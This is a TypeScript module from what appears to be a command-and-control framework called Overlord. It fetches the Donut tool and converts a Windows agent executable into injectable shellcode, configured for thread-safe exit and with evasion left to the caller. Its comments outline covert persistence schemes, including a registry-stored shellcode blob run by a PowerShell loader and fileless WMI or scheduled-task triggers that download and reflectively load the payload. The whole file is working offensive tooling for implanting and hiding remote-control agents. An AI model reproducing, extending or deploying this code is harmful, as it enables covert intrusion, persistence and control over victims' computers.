Files
overlord/Overlord-Server/src/server/donut-manager.ts
T
2026-05-17 13:19:46 -05:00

267 lines
9.7 KiB
TypeScript

import fs from "fs";
import path from "path";
import { $ } from "bun";
import { ensureDataDir } from "../paths";
import { logger } from "../logger";
const DONUT_REPO = "TheWover/donut";
const VERSION_TTL_MS = 24 * 60 * 60 * 1000; // re-check GitHub at most once per day
type CachedVersion = { tag: string; cachedAt: number };
function toolsDir(): string {
return path.join(ensureDataDir(), "tools");
}
function binaryPath(): string {
return path.join(toolsDir(), process.platform === "win32" ? "donut.exe" : "donut");
}
function versionFilePath(): string {
return path.join(toolsDir(), "donut.version");
}
function readCache(): CachedVersion | null {
try { return JSON.parse(fs.readFileSync(versionFilePath(), "utf8")); } catch { return null; }
}
function writeCache(tag: string): void {
try {
fs.mkdirSync(toolsDir(), { recursive: true });
fs.writeFileSync(versionFilePath(), JSON.stringify({ tag, cachedAt: Date.now() }));
} catch {}
}
async function findSystemDonut(): Promise<string | null> {
const systemCandidates = ["/usr/local/bin/donut", "/usr/bin/donut"];
for (const c of systemCandidates) {
if (fs.existsSync(c)) return c;
}
try {
const r = await $`which donut`.quiet().nothrow();
if (r.exitCode === 0) {
const p = r.stdout.toString().trim();
if (p) return p;
}
} catch {}
return null;
}
type AssetInfo = { tag: string; downloadUrl: string; isArchive?: boolean };
async function fetchLatest(): Promise<AssetInfo | null> {
try {
const res = await fetch(
`https://api.github.com/repos/${DONUT_REPO}/releases/latest`,
{ headers: { "User-Agent": "Overlord-C2", Accept: "application/vnd.github+json" } },
);
if (!res.ok) return null;
const data = await res.json() as any;
const tag: string = data.tag_name;
const assets: { name: string; browser_download_url: string }[] = data.assets ?? [];
// Prioritised binary names for each host platform
const candidates =
process.platform === "win32"
? ["donut.exe", "donut_x64.exe", "donut_x86_64.exe"]
: ["donut_x64", "donut_x86_64", "donut-linux-x64", "donut-linux", "donut"];
for (const name of candidates) {
const asset = assets.find(a => a.name.toLowerCase() === name.toLowerCase());
if (asset) return { tag, downloadUrl: asset.browser_download_url };
}
// Last-resort: any asset starting with "donut" with no extension (Linux binary)
if (process.platform !== "win32") {
const fallback = assets.find(a => /^donut/i.test(a.name) && !a.name.includes("."));
if (fallback) return { tag, downloadUrl: fallback.browser_download_url };
}
// Releases may only ship archives (e.g. v1.1 ships tar.gz/zip, no bare binary).
// Fall back to downloading and extracting the archive.
if (process.platform !== "win32") {
const tarGz = assets.find(a => /donut/i.test(a.name) && a.name.endsWith(".tar.gz"));
if (tarGz) return { tag, downloadUrl: tarGz.browser_download_url, isArchive: true };
const zip = assets.find(a => /donut/i.test(a.name) && a.name.endsWith(".zip"));
if (zip) return { tag, downloadUrl: zip.browser_download_url, isArchive: true };
}
return null;
} catch {
return null;
}
}
async function downloadBinary(url: string, dest: string, isArchive = false): Promise<boolean> {
try {
fs.mkdirSync(path.dirname(dest), { recursive: true });
const res = await fetch(url);
if (!res.ok) return false;
const buf = await res.arrayBuffer();
if (!isArchive) {
fs.writeFileSync(dest, Buffer.from(buf), { mode: 0o755 });
return true;
}
// Archive (tar.gz): write to a temp file, then extract the 'donut' binary from it.
const tmpArchive = dest + ".tmp.tar.gz";
fs.writeFileSync(tmpArchive, Buffer.from(buf));
try {
const destDir = path.dirname(dest);
// Try with --strip-components first (archive has a top-level dir), then without.
let r = await $`tar xzf ${tmpArchive} --strip-components=1 -C ${destDir} ./donut`
.nothrow().quiet();
if (r.exitCode !== 0 || !fs.existsSync(dest)) {
r = await $`tar xzf ${tmpArchive} -C ${destDir} donut`.nothrow().quiet();
}
if (!fs.existsSync(dest)) return false;
fs.chmodSync(dest, 0o755);
return true;
} finally {
try { fs.unlinkSync(tmpArchive); } catch {}
}
} catch {
return false;
}
}
/**
* Ensures the Donut binary is present and up-to-date.
* Downloads from the latest GitHub release if absent or the cached version
* info is older than VERSION_TTL_MS.
* Returns the path to the binary, or null if it could not be obtained.
*/
export async function ensureDonut(
sendToStream?: (data: any) => void,
): Promise<string | null> {
const bin = binaryPath();
const cached = readCache();
const binExists = fs.existsSync(bin);
const stale = !cached || Date.now() - cached.cachedAt > VERSION_TTL_MS;
const log = (text: string, level = "info") => {
logger.info(`[donut] ${text.trim()}`);
sendToStream?.({ type: "output", text: `${text}\n`, level });
};
if (binExists && !stale) {
log(`Donut: using cached ${cached!.tag}`);
return bin;
}
// Prefer a system-installed binary (e.g. pre-fetched in Docker image) before
// hitting GitHub. If found, record it so future calls skip the check.
const sysBinEarly = await findSystemDonut();
if (sysBinEarly) {
log(`Donut: using system binary at ${sysBinEarly}`);
writeCache("system");
return sysBinEarly;
}
log("Donut: checking GitHub for latest release…");
const latest = await fetchLatest();
if (!latest) {
if (binExists) {
log(`Donut: GitHub unreachable — using cached ${cached?.tag ?? "unknown"}`, "warn");
return bin;
}
log("Donut: GitHub unreachable and no binary available", "error");
return null;
}
if (binExists && cached?.tag === latest.tag) {
log(`Donut: already at latest (${latest.tag})`);
writeCache(latest.tag); // refresh TTL
return bin;
}
log(`Donut: downloading ${latest.tag}…`);
const ok = await downloadBinary(latest.downloadUrl, bin, latest.isArchive);
if (!ok) {
if (binExists) {
log(`Donut: download failed — using cached ${cached?.tag ?? "unknown"}`, "warn");
return bin;
}
log("Donut: download failed and no cached binary available", "error");
return null;
}
writeCache(latest.tag);
log(`Donut: ready (${latest.tag})`);
return bin;
}
/**
* Converts a Windows PE executable to position-independent shellcode using Donut.
*
* Flags used:
* -f 1 raw shellcode output (no base64/C/etc wrapping)
* -a 1|2 architecture (1=x86, 2=x64)
* -z N compression. LZNT1/Xpress/Xpress-Huffman (-z 3/4/5) use Windows
* RtlCompressBuffer APIs and only work when Donut runs on a Windows
* host. We pick the best available for the host: -z 3 (LZNT1) on
* Windows, -z 2 (aPLib, cross-platform) elsewhere.
* -b 1 no AMSI/WLDP bypass — caller is responsible for evasion (e.g. SGN)
*
* Exit behavior defaults to "exit thread" (-x 1) when -x is omitted, which is
* what we want — prevents crashing the host process when the agent terminates.
*
* NOTE — persistence in shellcode mode:
* When the agent runs as shellcode injected into another process, os.Executable()
* on Windows resolves to the HOST process binary via GetModuleFileNameW(NULL).
* Persistence methods (startup, registry, taskscheduler, wmi) would therefore
* register the HOST executable for autostart — not the agent — which is wrong.
*
* Theoretical fixes:
* 1. Server-side stage-2 push: after first connection the server sends agent_update
* with a PE binary (persistence-enabled). Agent writes it to disk + registers.
* 2. Registry shellcode blob: store raw shellcode in a Run key with a PowerShell
* loader stub that allocates RWX memory, copies the blob, and CreateThread's it.
* Requires a new persist_shellcode_registry build tag in the agent.
* 3. WMI/task scheduler with a PS one-liner that downloads and reflectively loads
* the shellcode each time the trigger fires (fully fileless persistence).
* 4. Self-droping: on first run, agent uses VirtualQuery on a known code pointer to
* locate its own loaded image, writes it to a temp path, and registers from there.
*/
export async function runDonut(
inputPe: string,
outputBin: string,
arch: "amd64" | "386",
sendToStream: (data: any) => void,
): Promise<boolean> {
const bin = await ensureDonut(sendToStream);
if (!bin) {
sendToStream({ type: "output", text: "ERROR: Donut binary not available\n", level: "error" });
return false;
}
const archFlag = arch === "386" ? "1" : "2";
const compressFlag = process.platform === "win32" ? "3" : "2";
try {
// -i flag required since donut v1 (previously positional arg)
const result = await $`${bin} -a ${archFlag} -z ${compressFlag} -f 1 -b 1 -o ${outputBin} -i ${inputPe}`
.nothrow()
.quiet();
const stdout = result.stdout.toString().trim();
if (stdout) {
sendToStream({ type: "output", text: stdout + "\n", level: "info" });
}
if (result.exitCode !== 0) {
const stderr = result.stderr.toString().trim();
sendToStream({ type: "output", text: `Donut failed (exit ${result.exitCode})${stderr ? `: ${stderr}` : ""}\n`, level: "error" });
return false;
}
const outSize = fs.existsSync(outputBin) ? fs.statSync(outputBin).size : 0;
if (outSize === 0) {
sendToStream({ type: "output", text: "Donut produced no output — check that the input PE is valid\n", level: "error" });
return false;
}
return true;
} catch (err: any) {
sendToStream({ type: "output", text: `Donut error: ${err?.message ?? err}\n`, level: "error" });
return false;
}
}